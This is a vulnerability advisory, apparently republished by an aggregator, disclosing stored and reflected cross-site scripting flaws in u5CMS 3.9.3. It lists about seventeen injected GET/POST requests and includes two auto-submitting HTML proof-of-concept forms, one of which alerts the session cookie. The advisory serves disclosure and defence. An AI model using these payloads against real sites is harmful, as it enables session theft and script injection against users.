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u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities

🗓️ 09 Feb 2015 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 89 Views

u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities. Inadequate input sanitization in multiple POST and GET parameters allows execution of HTML and script code in user's browser session. Vendor addressed issues in version 3.9.4

Related
Code
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<html><body><p>u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: u5CMS suffers from multiple stored and reflected cross-site scripting
vulnerabilities. Input passed to several POST and GET parameters is not properly
sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5223
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5223.php


29.12.2014

---


Reflected XSS:
==============

GET /u5cms/index.php?c=start"&gt;<script>alert(1)</script>&amp;l=e&amp;p=1&amp;r= HTTP/1.1
GET /u5cms/index.php?i=1"&gt;<script>alert(2)</script>&amp;p=1&amp;c=start&amp;l=d HTTP/1.1
GET /u5cms/index.php?c=start&amp;l=e"&gt;<script>alert(3)</script>&amp;p=1&amp;r= HTTP/1.1
GET /u5cms/index.php?c=start&amp;l=e&amp;p=1"&gt;<script>alert(4)</script>&amp;r= HTTP/1.1
GET /u5cms/u5admin/cookie.php?a=i2_l%00%3balert(5)//&amp;b=d HTTP/1.1
GET /u5cms/u5admin/cookie.php?a=i2_l&amp;b=%3balert(6)// HTTP/1.1
GET /u5cms/u5admin/copy.php?name=album"&gt;<img/> HTTP/1.1
GET /u5cms/u5admin/delete.php?name=a"&gt;<img/> HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d&amp;name=shortreference&amp;f=../r/shortreference/shortreference_en.php.txt'%3balert(9)// HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d'%3balert(10)//&amp;name=shortreference&amp;f=../r/shortreference/shortreference_en.php.txt HTTP/1.1
GET /u5cms/u5admin/done.php?n=inserted%20test"&gt;<script>alert(11)</script> HTTP/1.1
GET /u5cms/u5admin/editor.php?c=c"&gt;<script>alert(12)</script> HTTP/1.1
POST /u5cms/u5admin/meta2.php?typ=a&amp;uri=metai.php'%3balert(13)// HTTP/1.1
GET /u5cms/u5admin/notdone.php?n=wrong%20name,%20not%20deleted%20<script>alert(14)</script> HTTP/1.1
GET /u5cms/u5admin/rename2.php?name=valbum&amp;newname=valbum'%3balert(15)//&amp;typ=a HTTP/1.1
GET /u5cms/u5admin/sendfile.php?name=shortreference&amp;l=_frd"&gt;<script>alert(16)</script>&amp;typ=d HTTP/1.1
GET /u5cms/u5admin/characters.php?more=335&amp;s=335"&gt;<script>alert(17)</script> HTTP/1.1


Stored XSS:
===========


  </p>
<form action="http://10.0.50.3/u5cms/u5admin/savepage.php" method="POST">
<input name="page" type="hidden" value='ZSL"&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;'/>
<input name="view" type="hidden" value="d"/>
<input name="ishomepage" type="hidden" value="1"/>
<input name="hidden" type="hidden" value="0"/>
<input name="logins" type="hidden" value=""/>
<input name="title_d" type="hidden" value="Test"/>
<input name="desc_d" type="hidden" value=""/>
<input name="key_d" type="hidden" value=""/>
<input name="content_d" type="hidden" value="Tstz"/>
<input name="title_e" type="hidden" value="ZSL"/>
<input name="desc_e" type="hidden" value="llll"/>
<input name="key_e" type="hidden" value="qqq"/>
<input name="content_e" type="hidden" value="AllTheWay"/>
<input name="title_f" type="hidden" value="None"/>
<input name="desc_f" type="hidden" value=""/>
<input name="key_f" type="hidden" value=""/>
<input name="content_f" type="hidden" value="Aloha"/>
<input name="coco" type="hidden" value="1423010603"/>
<input type="submit" value="Submit form"/>
</form>
  



--



  
    <form action="http://10.0.50.3/u5cms/u5admin/new2.php?typ=e" method="POST">
<input name="name" type="hidden" value='"&gt;&lt;img%20src%3da%20onerror%3dalert("XSS")&gt;'/>
<input name="typ" type="hidden" value="e"/>
<input type="submit" value="Submit form"/>
</form>
</body></html>

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09 Feb 2015 00:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
EPSS0.04307
89